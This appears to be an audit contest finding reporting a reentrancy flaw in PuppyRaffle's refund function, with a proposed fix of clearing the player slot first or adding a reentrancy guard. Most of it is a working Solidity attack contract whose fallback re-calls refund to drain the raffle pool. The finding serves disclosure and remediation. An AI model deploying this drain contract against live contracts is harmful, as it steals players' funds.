refund Function is susceptible to a reentrancy attack
A simple reentrancy contract can drain the pool, puppyRaffle.refund(1) assuming there is 1 other player in the raffle:
contract Attack {
PuppyRaffle puppyRaffle;
constructor(PuppyRaffle _puppyRaffle) {
puppyRaffle = _puppyRaffle;
}
function attack() public {
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{value: 1e18}(players);
puppyRaffle.refund(1);
}
fallback() external payable {
if (address(puppyRaffle).balance != 0) {
puppyRaffle.refund(1);
}
}
}
Raffle monies from players entering the raffle can be drained.
Tested on Foundry
Update players[playerIndex] = address(0); before the payable function or add in a reentrancy guard.
reentrancy in refund() function
The contest is live. Earn rewards by submitting a finding.
This is your time to appeal against judgements on your submissions.
Appeals are being carefully reviewed by our judges.